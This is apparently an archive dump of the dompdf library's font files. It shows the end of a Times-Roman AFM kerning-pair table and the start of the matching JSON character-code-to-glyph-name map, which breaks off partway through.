KPX Yacute Odieresis -85
KPX Yacute Ograve -85
KPX Yacute Ohungarumlaut -85
KPX Yacute Omacron -85
KPX Yacute Oslash -85
KPX Yacute Otilde -85
KPX Yacute a -140
KPX Yacute aacute -140
KPX Yacute abreve -70
KPX Yacute acircumflex -140
KPX Yacute adieresis -140
KPX Yacute agrave -140
KPX Yacute amacron -70
KPX Yacute aogonek -140
KPX Yacute aring -140
KPX Yacute atilde -70
KPX Yacute colon -60
KPX Yacute comma -140
KPX Yacute e -140
KPX Yacute eacute -140
KPX Yacute ecaron -140
KPX Yacute ecircumflex -140
KPX Yacute edieresis -140
KPX Yacute edotaccent -140
KPX Yacute egrave -140
KPX Yacute emacron -70
KPX Yacute eogonek -140
KPX Yacute hyphen -140
KPX Yacute i -20
KPX Yacute iacute -20
KPX Yacute iogonek -20
KPX Yacute o -140
KPX Yacute oacute -140
KPX Yacute ocircumflex -140
KPX Yacute odieresis -140
KPX Yacute ograve -140
KPX Yacute ohungarumlaut -140
KPX Yacute omacron -70
KPX Yacute oslash -140
KPX Yacute otilde -140
KPX Yacute period -140
KPX Yacute semicolon -60
KPX Yacute u -110
KPX Yacute uacute -110
KPX Yacute ucircumflex -110
KPX Yacute udieresis -110
KPX Yacute ugrave -110
KPX Yacute uhungarumlaut -110
KPX Yacute umacron -110
KPX Yacute uogonek -110
KPX Yacute uring -110
KPX Ydieresis A -110
KPX Ydieresis Aacute -110
KPX Ydieresis Abreve -110
KPX Ydieresis Acircumflex -110
KPX Ydieresis Adieresis -110
KPX Ydieresis Agrave -110
KPX Ydieresis Amacron -110
KPX Ydieresis Aogonek -110
KPX Ydieresis Aring -110
KPX Ydieresis Atilde -110
KPX Ydieresis O -85
KPX Ydieresis Oacute -85
KPX Ydieresis Ocircumflex -85
KPX Ydieresis Odieresis -85
KPX Ydieresis Ograve -85
KPX Ydieresis Ohungarumlaut -85
KPX Ydieresis Omacron -85
KPX Ydieresis Oslash -85
KPX Ydieresis Otilde -85
KPX Ydieresis a -140
KPX Ydieresis aacute -140
KPX Ydieresis abreve -70
KPX Ydieresis acircumflex -140
KPX Ydieresis adieresis -140
KPX Ydieresis agrave -140
KPX Ydieresis amacron -70
KPX Ydieresis aogonek -140
KPX Ydieresis aring -140
KPX Ydieresis atilde -70
KPX Ydieresis colon -60
KPX Ydieresis comma -140
KPX Ydieresis e -140
KPX Ydieresis eacute -140
KPX Ydieresis ecaron -140
KPX Ydieresis ecircumflex -140
KPX Ydieresis edieresis -140
KPX Ydieresis edotaccent -140
KPX Ydieresis egrave -140
KPX Ydieresis emacron -70
KPX Ydieresis eogonek -140
KPX Ydieresis hyphen -140
KPX Ydieresis i -20
KPX Ydieresis iacute -20
KPX Ydieresis iogonek -20
KPX Ydieresis o -140
KPX Ydieresis oacute -140
KPX Ydieresis ocircumflex -140
KPX Ydieresis odieresis -140
KPX Ydieresis ograve -140
KPX Ydieresis ohungarumlaut -140
KPX Ydieresis omacron -140
KPX Ydieresis oslash -140
KPX Ydieresis otilde -140
KPX Ydieresis period -140
KPX Ydieresis semicolon -60
KPX Ydieresis u -110
KPX Ydieresis uacute -110
KPX Ydieresis ucircumflex -110
KPX Ydieresis udieresis -110
KPX Ydieresis ugrave -110
KPX Ydieresis uhungarumlaut -110
KPX Ydieresis umacron -110
KPX Ydieresis uogonek -110
KPX Ydieresis uring -110
KPX a v -20
KPX a w -20
KPX a y -30
KPX a yacute -30
KPX a ydieresis -30
KPX aacute v -20
KPX aacute w -20
KPX aacute y -30
KPX aacute yacute -30
KPX aacute ydieresis -30
KPX abreve v -20
KPX abreve w -20
KPX abreve y -30
KPX abreve yacute -30
KPX abreve ydieresis -30
KPX acircumflex v -20
KPX acircumflex w -20
KPX acircumflex y -30
KPX acircumflex yacute -30
KPX acircumflex ydieresis -30
KPX adieresis v -20
KPX adieresis w -20
KPX adieresis y -30
KPX adieresis yacute -30
KPX adieresis ydieresis -30
KPX agrave v -20
KPX agrave w -20
KPX agrave y -30
KPX agrave yacute -30
KPX agrave ydieresis -30
KPX amacron v -20
KPX amacron w -20
KPX amacron y -30
KPX amacron yacute -30
KPX amacron ydieresis -30
KPX aogonek v -20
KPX aogonek w -20
KPX aogonek y -30
KPX aogonek yacute -30
KPX aogonek ydieresis -30
KPX aring v -20
KPX aring w -20
KPX aring y -30
KPX aring yacute -30
KPX aring ydieresis -30
KPX atilde v -20
KPX atilde w -20
KPX atilde y -30
KPX atilde yacute -30
KPX atilde ydieresis -30
KPX b b -10
KPX b comma -40
KPX b l -20
KPX b lacute -20
KPX b lcommaaccent -20
KPX b lslash -20
KPX b period -40
KPX b u -20
KPX b uacute -20
KPX b ucircumflex -20
KPX b udieresis -20
KPX b ugrave -20
KPX b uhungarumlaut -20
KPX b umacron -20
KPX b uogonek -20
KPX b uring -20
KPX b v -20
KPX b y -20
KPX b yacute -20
KPX b ydieresis -20
KPX c comma -15
KPX c k -20
KPX c kcommaaccent -20
KPX cacute comma -15
KPX cacute k -20
KPX cacute kcommaaccent -20
KPX ccaron comma -15
KPX ccaron k -20
KPX ccaron kcommaaccent -20
KPX ccedilla comma -15
KPX ccedilla k -20
KPX ccedilla kcommaaccent -20
KPX colon space -50
KPX comma quotedblright -100
KPX comma quoteright -100
KPX e comma -15
KPX e period -15
KPX e v -30
KPX e w -20
KPX e x -30
KPX e y -20
KPX e yacute -20
KPX e ydieresis -20
KPX eacute comma -15
KPX eacute period -15
KPX eacute v -30
KPX eacute w -20
KPX eacute x -30
KPX eacute y -20
KPX eacute yacute -20
KPX eacute ydieresis -20
KPX ecaron comma -15
KPX ecaron period -15
KPX ecaron v -30
KPX ecaron w -20
KPX ecaron x -30
KPX ecaron y -20
KPX ecaron yacute -20
KPX ecaron ydieresis -20
KPX ecircumflex comma -15
KPX ecircumflex period -15
KPX ecircumflex v -30
KPX ecircumflex w -20
KPX ecircumflex x -30
KPX ecircumflex y -20
KPX ecircumflex yacute -20
KPX ecircumflex ydieresis -20
KPX edieresis comma -15
KPX edieresis period -15
KPX edieresis v -30
KPX edieresis w -20
KPX edieresis x -30
KPX edieresis y -20
KPX edieresis yacute -20
KPX edieresis ydieresis -20
KPX edotaccent comma -15
KPX edotaccent period -15
KPX edotaccent v -30
KPX edotaccent w -20
KPX edotaccent x -30
KPX edotaccent y -20
KPX edotaccent yacute -20
KPX edotaccent ydieresis -20
KPX egrave comma -15
KPX egrave period -15
KPX egrave v -30
KPX egrave w -20
KPX egrave x -30
KPX egrave y -20
KPX egrave yacute -20
KPX egrave ydieresis -20
KPX emacron comma -15
KPX emacron period -15
KPX emacron v -30
KPX emacron w -20
KPX emacron x -30
KPX emacron y -20
KPX emacron yacute -20
KPX emacron ydieresis -20
KPX eogonek comma -15
KPX eogonek period -15
KPX eogonek v -30
KPX eogonek w -20
KPX eogonek x -30
KPX eogonek y -20
KPX eogonek yacute -20
KPX eogonek ydieresis -20
KPX f a -30
KPX f aacute -30
KPX f abreve -30
KPX f acircumflex -30
KPX f adieresis -30
KPX f agrave -30
KPX f amacron -30
KPX f aogonek -30
KPX f aring -30
KPX f atilde -30
KPX f comma -30
KPX f dotlessi -28
KPX f e -30
KPX f eacute -30
KPX f ecaron -30
KPX f ecircumflex -30
KPX f edieresis -30
KPX f edotaccent -30
KPX f egrave -30
KPX f emacron -30
KPX f eogonek -30
KPX f o -30
KPX f oacute -30
KPX f ocircumflex -30
KPX f odieresis -30
KPX f ograve -30
KPX f ohungarumlaut -30
KPX f omacron -30
KPX f oslash -30
KPX f otilde -30
KPX f period -30
KPX f quotedblright 60
KPX f quoteright 50
KPX g r -10
KPX g racute -10
KPX g rcaron -10
KPX g rcommaaccent -10
KPX gbreve r -10
KPX gbreve racute -10
KPX gbreve rcaron -10
KPX gbreve rcommaaccent -10
KPX gcommaaccent r -10
KPX gcommaaccent racute -10
KPX gcommaaccent rcaron -10
KPX gcommaaccent rcommaaccent -10
KPX h y -30
KPX h yacute -30
KPX h ydieresis -30
KPX k e -20
KPX k eacute -20
KPX k ecaron -20
KPX k ecircumflex -20
KPX k edieresis -20
KPX k edotaccent -20
KPX k egrave -20
KPX k emacron -20
KPX k eogonek -20
KPX k o -20
KPX k oacute -20
KPX k ocircumflex -20
KPX k odieresis -20
KPX k ograve -20
KPX k ohungarumlaut -20
KPX k omacron -20
KPX k oslash -20
KPX k otilde -20
KPX kcommaaccent e -20
KPX kcommaaccent eacute -20
KPX kcommaaccent ecaron -20
KPX kcommaaccent ecircumflex -20
KPX kcommaaccent edieresis -20
KPX kcommaaccent edotaccent -20
KPX kcommaaccent egrave -20
KPX kcommaaccent emacron -20
KPX kcommaaccent eogonek -20
KPX kcommaaccent o -20
KPX kcommaaccent oacute -20
KPX kcommaaccent ocircumflex -20
KPX kcommaaccent odieresis -20
KPX kcommaaccent ograve -20
KPX kcommaaccent ohungarumlaut -20
KPX kcommaaccent omacron -20
KPX kcommaaccent oslash -20
KPX kcommaaccent otilde -20
KPX m u -10
KPX m uacute -10
KPX m ucircumflex -10
KPX m udieresis -10
KPX m ugrave -10
KPX m uhungarumlaut -10
KPX m umacron -10
KPX m uogonek -10
KPX m uring -10
KPX m y -15
KPX m yacute -15
KPX m ydieresis -15
KPX n u -10
KPX n uacute -10
KPX n ucircumflex -10
KPX n udieresis -10
KPX n ugrave -10
KPX n uhungarumlaut -10
KPX n umacron -10
KPX n uogonek -10
KPX n uring -10
KPX n v -20
KPX n y -15
KPX n yacute -15
KPX n ydieresis -15
KPX nacute u -10
KPX nacute uacute -10
KPX nacute ucircumflex -10
KPX nacute udieresis -10
KPX nacute ugrave -10
KPX nacute uhungarumlaut -10
KPX nacute umacron -10
KPX nacute uogonek -10
KPX nacute uring -10
KPX nacute v -20
KPX nacute y -15
KPX nacute yacute -15
KPX nacute ydieresis -15
KPX ncaron u -10
KPX ncaron uacute -10
KPX ncaron ucircumflex -10
KPX ncaron udieresis -10
KPX ncaron ugrave -10
KPX ncaron uhungarumlaut -10
KPX ncaron umacron -10
KPX ncaron uogonek -10
KPX ncaron uring -10
KPX ncaron v -20
KPX ncaron y -15
KPX ncaron yacute -15
KPX ncaron ydieresis -15
KPX ncommaaccent u -10
KPX ncommaaccent uacute -10
KPX ncommaaccent ucircumflex -10
KPX ncommaaccent udieresis -10
KPX ncommaaccent ugrave -10
KPX ncommaaccent uhungarumlaut -10
KPX ncommaaccent umacron -10
KPX ncommaaccent uogonek -10
KPX ncommaaccent uring -10
KPX ncommaaccent v -20
KPX ncommaaccent y -15
KPX ncommaaccent yacute -15
KPX ncommaaccent ydieresis -15
KPX ntilde u -10
KPX ntilde uacute -10
KPX ntilde ucircumflex -10
KPX ntilde udieresis -10
KPX ntilde ugrave -10
KPX ntilde uhungarumlaut -10
KPX ntilde umacron -10
KPX ntilde uogonek -10
KPX ntilde uring -10
KPX ntilde v -20
KPX ntilde y -15
KPX ntilde yacute -15
KPX ntilde ydieresis -15
KPX o comma -40
KPX o period -40
KPX o v -15
KPX o w -15
KPX o x -30
KPX o y -30
KPX o yacute -30
KPX o ydieresis -30
KPX oacute comma -40
KPX oacute period -40
KPX oacute v -15
KPX oacute w -15
KPX oacute x -30
KPX oacute y -30
KPX oacute yacute -30
KPX oacute ydieresis -30
KPX ocircumflex comma -40
KPX ocircumflex period -40
KPX ocircumflex v -15
KPX ocircumflex w -15
KPX ocircumflex x -30
KPX ocircumflex y -30
KPX ocircumflex yacute -30
KPX ocircumflex ydieresis -30
KPX odieresis comma -40
KPX odieresis period -40
KPX odieresis v -15
KPX odieresis w -15
KPX odieresis x -30
KPX odieresis y -30
KPX odieresis yacute -30
KPX odieresis ydieresis -30
KPX ograve comma -40
KPX ograve period -40
KPX ograve v -15
KPX ograve w -15
KPX ograve x -30
KPX ograve y -30
KPX ograve yacute -30
KPX ograve ydieresis -30
KPX ohungarumlaut comma -40
KPX ohungarumlaut period -40
KPX ohungarumlaut v -15
KPX ohungarumlaut w -15
KPX ohungarumlaut x -30
KPX ohungarumlaut y -30
KPX ohungarumlaut yacute -30
KPX ohungarumlaut ydieresis -30
KPX omacron comma -40
KPX omacron period -40
KPX omacron v -15
KPX omacron w -15
KPX omacron x -30
KPX omacron y -30
KPX omacron yacute -30
KPX omacron ydieresis -30
KPX oslash a -55
KPX oslash aacute -55
KPX oslash abreve -55
KPX oslash acircumflex -55
KPX oslash adieresis -55
KPX oslash agrave -55
KPX oslash amacron -55
KPX oslash aogonek -55
KPX oslash aring -55
KPX oslash atilde -55
KPX oslash b -55
KPX oslash c -55
KPX oslash cacute -55
KPX oslash ccaron -55
KPX oslash ccedilla -55
KPX oslash comma -95
KPX oslash d -55
KPX oslash dcroat -55
KPX oslash e -55
KPX oslash eacute -55
KPX oslash ecaron -55
KPX oslash ecircumflex -55
KPX oslash edieresis -55
KPX oslash edotaccent -55
KPX oslash egrave -55
KPX oslash emacron -55
KPX oslash eogonek -55
KPX oslash f -55
KPX oslash g -55
KPX oslash gbreve -55
KPX oslash gcommaaccent -55
KPX oslash h -55
KPX oslash i -55
KPX oslash iacute -55
KPX oslash icircumflex -55
KPX oslash idieresis -55
KPX oslash igrave -55
KPX oslash imacron -55
KPX oslash iogonek -55
KPX oslash j -55
KPX oslash k -55
KPX oslash kcommaaccent -55
KPX oslash l -55
KPX oslash lacute -55
KPX oslash lcommaaccent -55
KPX oslash lslash -55
KPX oslash m -55
KPX oslash n -55
KPX oslash nacute -55
KPX oslash ncaron -55
KPX oslash ncommaaccent -55
KPX oslash ntilde -55
KPX oslash o -55
KPX oslash oacute -55
KPX oslash ocircumflex -55
KPX oslash odieresis -55
KPX oslash ograve -55
KPX oslash ohungarumlaut -55
KPX oslash omacron -55
KPX oslash oslash -55
KPX oslash otilde -55
KPX oslash p -55
KPX oslash period -95
KPX oslash q -55
KPX oslash r -55
KPX oslash racute -55
KPX oslash rcaron -55
KPX oslash rcommaaccent -55
KPX oslash s -55
KPX oslash sacute -55
KPX oslash scaron -55
KPX oslash scedilla -55
KPX oslash scommaaccent -55
KPX oslash t -55
KPX oslash tcommaaccent -55
KPX oslash u -55
KPX oslash uacute -55
KPX oslash ucircumflex -55
KPX oslash udieresis -55
KPX oslash ugrave -55
KPX oslash uhungarumlaut -55
KPX oslash umacron -55
KPX oslash uogonek -55
KPX oslash uring -55
KPX oslash v -70
KPX oslash w -70
KPX oslash x -85
KPX oslash y -70
KPX oslash yacute -70
KPX oslash ydieresis -70
KPX oslash z -55
KPX oslash zacute -55
KPX oslash zcaron -55
KPX oslash zdotaccent -55
KPX otilde comma -40
KPX otilde period -40
KPX otilde v -15
KPX otilde w -15
KPX otilde x -30
KPX otilde y -30
KPX otilde yacute -30
KPX otilde ydieresis -30
KPX p comma -35
KPX p period -35
KPX p y -30
KPX p yacute -30
KPX p ydieresis -30
KPX period quotedblright -100
KPX period quoteright -100
KPX period space -60
KPX quotedblright space -40
KPX quoteleft quoteleft -57
KPX quoteright d -50
KPX quoteright dcroat -50
KPX quoteright quoteright -57
KPX quoteright r -50
KPX quoteright racute -50
KPX quoteright rcaron -50
KPX quoteright rcommaaccent -50
KPX quoteright s -50
KPX quoteright sacute -50
KPX quoteright scaron -50
KPX quoteright scedilla -50
KPX quoteright scommaaccent -50
KPX quoteright space -70
KPX r a -10
KPX r aacute -10
KPX r abreve -10
KPX r acircumflex -10
KPX r adieresis -10
KPX r agrave -10
KPX r amacron -10
KPX r aogonek -10
KPX r aring -10
KPX r atilde -10
KPX r colon 30
KPX r comma -50
KPX r i 15
KPX r iacute 15
KPX r icircumflex 15
KPX r idieresis 15
KPX r igrave 15
KPX r imacron 15
KPX r iogonek 15
KPX r k 15
KPX r kcommaaccent 15
KPX r l 15
KPX r lacute 15
KPX r lcommaaccent 15
KPX r lslash 15
KPX r m 25
KPX r n 25
KPX r nacute 25
KPX r ncaron 25
KPX r ncommaaccent 25
KPX r ntilde 25
KPX r p 30
KPX r period -50
KPX r semicolon 30
KPX r t 40
KPX r tcommaaccent 40
KPX r u 15
KPX r uacute 15
KPX r ucircumflex 15
KPX r udieresis 15
KPX r ugrave 15
KPX r uhungarumlaut 15
KPX r umacron 15
KPX r uogonek 15
KPX r uring 15
KPX r v 30
KPX r y 30
KPX r yacute 30
KPX r ydieresis 30
KPX racute a -10
KPX racute aacute -10
KPX racute abreve -10
KPX racute acircumflex -10
KPX racute adieresis -10
KPX racute agrave -10
KPX racute amacron -10
KPX racute aogonek -10
KPX racute aring -10
KPX racute atilde -10
KPX racute colon 30
KPX racute comma -50
KPX racute i 15
KPX racute iacute 15
KPX racute icircumflex 15
KPX racute idieresis 15
KPX racute igrave 15
KPX racute imacron 15
KPX racute iogonek 15
KPX racute k 15
KPX racute kcommaaccent 15
KPX racute l 15
KPX racute lacute 15
KPX racute lcommaaccent 15
KPX racute lslash 15
KPX racute m 25
KPX racute n 25
KPX racute nacute 25
KPX racute ncaron 25
KPX racute ncommaaccent 25
KPX racute ntilde 25
KPX racute p 30
KPX racute period -50
KPX racute semicolon 30
KPX racute t 40
KPX racute tcommaaccent 40
KPX racute u 15
KPX racute uacute 15
KPX racute ucircumflex 15
KPX racute udieresis 15
KPX racute ugrave 15
KPX racute uhungarumlaut 15
KPX racute umacron 15
KPX racute uogonek 15
KPX racute uring 15
KPX racute v 30
KPX racute y 30
KPX racute yacute 30
KPX racute ydieresis 30
KPX rcaron a -10
KPX rcaron aacute -10
KPX rcaron abreve -10
KPX rcaron acircumflex -10
KPX rcaron adieresis -10
KPX rcaron agrave -10
KPX rcaron amacron -10
KPX rcaron aogonek -10
KPX rcaron aring -10
KPX rcaron atilde -10
KPX rcaron colon 30
KPX rcaron comma -50
KPX rcaron i 15
KPX rcaron iacute 15
KPX rcaron icircumflex 15
KPX rcaron idieresis 15
KPX rcaron igrave 15
KPX rcaron imacron 15
KPX rcaron iogonek 15
KPX rcaron k 15
KPX rcaron kcommaaccent 15
KPX rcaron l 15
KPX rcaron lacute 15
KPX rcaron lcommaaccent 15
KPX rcaron lslash 15
KPX rcaron m 25
KPX rcaron n 25
KPX rcaron nacute 25
KPX rcaron ncaron 25
KPX rcaron ncommaaccent 25
KPX rcaron ntilde 25
KPX rcaron p 30
KPX rcaron period -50
KPX rcaron semicolon 30
KPX rcaron t 40
KPX rcaron tcommaaccent 40
KPX rcaron u 15
KPX rcaron uacute 15
KPX rcaron ucircumflex 15
KPX rcaron udieresis 15
KPX rcaron ugrave 15
KPX rcaron uhungarumlaut 15
KPX rcaron umacron 15
KPX rcaron uogonek 15
KPX rcaron uring 15
KPX rcaron v 30
KPX rcaron y 30
KPX rcaron yacute 30
KPX rcaron ydieresis 30
KPX rcommaaccent a -10
KPX rcommaaccent aacute -10
KPX rcommaaccent abreve -10
KPX rcommaaccent acircumflex -10
KPX rcommaaccent adieresis -10
KPX rcommaaccent agrave -10
KPX rcommaaccent amacron -10
KPX rcommaaccent aogonek -10
KPX rcommaaccent aring -10
KPX rcommaaccent atilde -10
KPX rcommaaccent colon 30
KPX rcommaaccent comma -50
KPX rcommaaccent i 15
KPX rcommaaccent iacute 15
KPX rcommaaccent icircumflex 15
KPX rcommaaccent idieresis 15
KPX rcommaaccent igrave 15
KPX rcommaaccent imacron 15
KPX rcommaaccent iogonek 15
KPX rcommaaccent k 15
KPX rcommaaccent kcommaaccent 15
KPX rcommaaccent l 15
KPX rcommaaccent lacute 15
KPX rcommaaccent lcommaaccent 15
KPX rcommaaccent lslash 15
KPX rcommaaccent m 25
KPX rcommaaccent n 25
KPX rcommaaccent nacute 25
KPX rcommaaccent ncaron 25
KPX rcommaaccent ncommaaccent 25
KPX rcommaaccent ntilde 25
KPX rcommaaccent p 30
KPX rcommaaccent period -50
KPX rcommaaccent semicolon 30
KPX rcommaaccent t 40
KPX rcommaaccent tcommaaccent 40
KPX rcommaaccent u 15
KPX rcommaaccent uacute 15
KPX rcommaaccent ucircumflex 15
KPX rcommaaccent udieresis 15
KPX rcommaaccent ugrave 15
KPX rcommaaccent uhungarumlaut 15
KPX rcommaaccent umacron 15
KPX rcommaaccent uogonek 15
KPX rcommaaccent uring 15
KPX rcommaaccent v 30
KPX rcommaaccent y 30
KPX rcommaaccent yacute 30
KPX rcommaaccent ydieresis 30
KPX s comma -15
KPX s period -15
KPX s w -30
KPX sacute comma -15
KPX sacute period -15
KPX sacute w -30
KPX scaron comma -15
KPX scaron period -15
KPX scaron w -30
KPX scedilla comma -15
KPX scedilla period -15
KPX scedilla w -30
KPX scommaaccent comma -15
KPX scommaaccent period -15
KPX scommaaccent w -30
KPX semicolon space -50
KPX space T -50
KPX space Tcaron -50
KPX space Tcommaaccent -50
KPX space V -50
KPX space W -40
KPX space Y -90
KPX space Yacute -90
KPX space Ydieresis -90
KPX space quotedblleft -30
KPX space quoteleft -60
KPX v a -25
KPX v aacute -25
KPX v abreve -25
KPX v acircumflex -25
KPX v adieresis -25
KPX v agrave -25
KPX v amacron -25
KPX v aogonek -25
KPX v aring -25
KPX v atilde -25
KPX v comma -80
KPX v e -25
KPX v eacute -25
KPX v ecaron -25
KPX v ecircumflex -25
KPX v edieresis -25
KPX v edotaccent -25
KPX v egrave -25
KPX v emacron -25
KPX v eogonek -25
KPX v o -25
KPX v oacute -25
KPX v ocircumflex -25
KPX v odieresis -25
KPX v ograve -25
KPX v ohungarumlaut -25
KPX v omacron -25
KPX v oslash -25
KPX v otilde -25
KPX v period -80
KPX w a -15
KPX w aacute -15
KPX w abreve -15
KPX w acircumflex -15
KPX w adieresis -15
KPX w agrave -15
KPX w amacron -15
KPX w aogonek -15
KPX w aring -15
KPX w atilde -15
KPX w comma -60
KPX w e -10
KPX w eacute -10
KPX w ecaron -10
KPX w ecircumflex -10
KPX w edieresis -10
KPX w edotaccent -10
KPX w egrave -10
KPX w emacron -10
KPX w eogonek -10
KPX w o -10
KPX w oacute -10
KPX w ocircumflex -10
KPX w odieresis -10
KPX w ograve -10
KPX w ohungarumlaut -10
KPX w omacron -10
KPX w oslash -10
KPX w otilde -10
KPX w period -60
KPX x e -30
KPX x eacute -30
KPX x ecaron -30
KPX x ecircumflex -30
KPX x edieresis -30
KPX x edotaccent -30
KPX x egrave -30
KPX x emacron -30
KPX x eogonek -30
KPX y a -20
KPX y aacute -20
KPX y abreve -20
KPX y acircumflex -20
KPX y adieresis -20
KPX y agrave -20
KPX y amacron -20
KPX y aogonek -20
KPX y aring -20
KPX y atilde -20
KPX y comma -100
KPX y e -20
KPX y eacute -20
KPX y ecaron -20
KPX y ecircumflex -20
KPX y edieresis -20
KPX y edotaccent -20
KPX y egrave -20
KPX y emacron -20
KPX y eogonek -20
KPX y o -20
KPX y oacute -20
KPX y ocircumflex -20
KPX y odieresis -20
KPX y ograve -20
KPX y ohungarumlaut -20
KPX y omacron -20
KPX y oslash -20
KPX y otilde -20
KPX y period -100
KPX yacute a -20
KPX yacute aacute -20
KPX yacute abreve -20
KPX yacute acircumflex -20
KPX yacute adieresis -20
KPX yacute agrave -20
KPX yacute amacron -20
KPX yacute aogonek -20
KPX yacute aring -20
KPX yacute atilde -20
KPX yacute comma -100
KPX yacute e -20
KPX yacute eacute -20
KPX yacute ecaron -20
KPX yacute ecircumflex -20
KPX yacute edieresis -20
KPX yacute edotaccent -20
KPX yacute egrave -20
KPX yacute emacron -20
KPX yacute eogonek -20
KPX yacute o -20
KPX yacute oacute -20
KPX yacute ocircumflex -20
KPX yacute odieresis -20
KPX yacute ograve -20
KPX yacute ohungarumlaut -20
KPX yacute omacron -20
KPX yacute oslash -20
KPX yacute otilde -20
KPX yacute period -100
KPX ydieresis a -20
KPX ydieresis aacute -20
KPX ydieresis abreve -20
KPX ydieresis acircumflex -20
KPX ydieresis adieresis -20
KPX ydieresis agrave -20
KPX ydieresis amacron -20
KPX ydieresis aogonek -20
KPX ydieresis aring -20
KPX ydieresis atilde -20
KPX ydieresis comma -100
KPX ydieresis e -20
KPX ydieresis eacute -20
KPX ydieresis ecaron -20
KPX ydieresis ecircumflex -20
KPX ydieresis edieresis -20
KPX ydieresis edotaccent -20
KPX ydieresis egrave -20
KPX ydieresis emacron -20
KPX ydieresis eogonek -20
KPX ydieresis o -20
KPX ydieresis oacute -20
KPX ydieresis ocircumflex -20
KPX ydieresis odieresis -20
KPX ydieresis ograve -20
KPX ydieresis ohungarumlaut -20
KPX ydieresis omacron -20
KPX ydieresis oslash -20
KPX ydieresis otilde -20
KPX ydieresis period -100
KPX z e -15
KPX z eacute -15
KPX z ecaron -15
KPX z ecircumflex -15
KPX z edieresis -15
KPX z edotaccent -15
KPX z egrave -15
KPX z emacron -15
KPX z eogonek -15
KPX z o -15
KPX z oacute -15
KPX z ocircumflex -15
KPX z odieresis -15
KPX z ograve -15
KPX z ohungarumlaut -15
KPX z omacron -15
KPX z oslash -15
KPX z otilde -15
KPX zacute e -15
KPX zacute eacute -15
KPX zacute ecaron -15
KPX zacute ecircumflex -15
KPX zacute edieresis -15
KPX zacute edotaccent -15
KPX zacute egrave -15
KPX zacute emacron -15
KPX zacute eogonek -15
KPX zacute o -15
KPX zacute oacute -15
KPX zacute ocircumflex -15
KPX zacute odieresis -15
KPX zacute ograve -15
KPX zacute ohungarumlaut -15
KPX zacute omacron -15
KPX zacute oslash -15
KPX zacute otilde -15
KPX zcaron e -15
KPX zcaron eacute -15
KPX zcaron ecaron -15
KPX zcaron ecircumflex -15
KPX zcaron edieresis -15
KPX zcaron edotaccent -15
KPX zcaron egrave -15
KPX zcaron emacron -15
KPX zcaron eogonek -15
KPX zcaron o -15
KPX zcaron oacute -15
KPX zcaron ocircumflex -15
KPX zcaron odieresis -15
KPX zcaron ograve -15
KPX zcaron ohungarumlaut -15
KPX zcaron omacron -15
KPX zcaron oslash -15
KPX zcaron otilde -15
KPX zdotaccent e -15
KPX zdotaccent eacute -15
KPX zdotaccent ecaron -15
KPX zdotaccent ecircumflex -15
KPX zdotaccent edieresis -15
KPX zdotaccent edotaccent -15
KPX zdotaccent egrave -15
KPX zdotaccent emacron -15
KPX zdotaccent eogonek -15
KPX zdotaccent o -15
KPX zdotaccent oacute -15
KPX zdotaccent ocircumflex -15
KPX zdotaccent odieresis -15
KPX zdotaccent ograve -15
KPX zdotaccent ohungarumlaut -15
KPX zdotaccent omacron -15
KPX zdotaccent oslash -15
KPX zdotaccent otilde -15
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/Times-Roman.afm.json000066600000031072151150442760016266 0ustar00{
    "codeToName": {
        "32": "space",
        "160": "space",
        "33": "exclam",
        "34": "quotedbl",
        "35": "numbersign",
        "36": "dollar",
        "37": "percent",
        "38": "ampersand",
        "146": "quoteright",
        "40": "parenleft",
        "41": "parenright",
        "42": "asterisk",
        "43": "plus",
        "44": "comma",
        "45": "hyphen",
        "173": "hyphen",
        "46": "period",
        "47": "slash",
        "48": "zero",
        "49": "one",
        "50": "two",
        "51": "three",
        "52": "four",
        "53": "five",
        "54": "six",
        "55": "seven",
        "56": "eight",
        "57": "nine",
        "58": "colon",
        "59": "semicolon",
        "60": "less",
        "61": "equal",
        "62": "greater",
        "63": "question",
        "64": "at",
        "65": "A",
        "66": "B",
        "67": "C",
        "68": "D",
        "69": "E",
        "70": "F",
        "71": "G",
        "72": "H",
        "73": "I",
        "74": "J",
        "75": "K",
        "76": "L",
        "77": "M",
        "78": "N",
        "79": "O",
        "80": "P",
        "81": "Q",
        "82": "R",
        "83": "S",
        "84": "T",
        "85": "U",
        "86": "V",
        "87": "W",
        "88": "X",
        "89": "Y",
        "90": "Z",
        "91": "bracketleft",
        "92": "backslash",
        "93": "bracketright",
        "94": "asciicircum",
        "95": "underscore",
        "145": "quoteleft",
        "97": "a",
        "98": "b",
        "99": "c",
        "100": "d",
        "101": "e",
        "102": "f",
        "103": "g",
        "104": "h",
        "105": "i",
        "106": "j",
        "107": "k",
        "108": "l",
        "109": "m",
        "110": "n",
        "111": "o",
        "112": "p",
        "113": "q",
        "114": "r",
        "115": "s",
        "116": "t",
        "117": "u",
        "118": "v",
        "119": "w",
        "120": "x",
        "121": "y",
        "122": "z",
        "123": "braceleft",
        "124": "bar",
        "125": "braceright",
        "126": "asciitilde",
        "161": "exclamdown",
        "162": "cent",
        "163": "sterling",
        "165": "yen",
        "131": "florin",
        "167": "section",
        "164": "currency",
        "39": "quotesingle",
        "147": "quotedblleft",
        "171": "guillemotleft",
        "139": "guilsinglleft",
        "155": "guilsinglright",
        "150": "endash",
        "134": "dagger",
        "135": "daggerdbl",
        "183": "periodcentered",
        "182": "paragraph",
        "149": "bullet",
        "130": "quotesinglbase",
        "132": "quotedblbase",
        "148": "quotedblright",
        "187": "guillemotright",
        "133": "ellipsis",
        "137": "perthousand",
        "191": "questiondown",
        "96": "grave",
        "180": "acute",
        "136": "circumflex",
        "152": "tilde",
        "175": "macron",
        "168": "dieresis",
        "184": "cedilla",
        "151": "emdash",
        "198": "AE",
        "170": "ordfeminine",
        "216": "Oslash",
        "140": "OE",
        "186": "ordmasculine",
        "230": "ae",
        "248": "oslash",
        "156": "oe",
        "223": "germandbls",
        "207": "Idieresis",
        "233": "eacute",
        "159": "Ydieresis",
        "247": "divide",
        "221": "Yacute",
        "194": "Acircumflex",
        "225": "aacute",
        "219": "Ucircumflex",
        "253": "yacute",
        "234": "ecircumflex",
        "220": "Udieresis",
        "218": "Uacute",
        "203": "Edieresis",
        "169": "copyright",
        "229": "aring",
        "224": "agrave",
        "227": "atilde",
        "154": "scaron",
        "237": "iacute",
        "251": "ucircumflex",
        "226": "acircumflex",
        "231": "ccedilla",
        "222": "Thorn",
        "179": "threesuperior",
        "210": "Ograve",
        "192": "Agrave",
        "215": "multiply",
        "250": "uacute",
        "255": "ydieresis",
        "238": "icircumflex",
        "202": "Ecircumflex",
        "228": "adieresis",
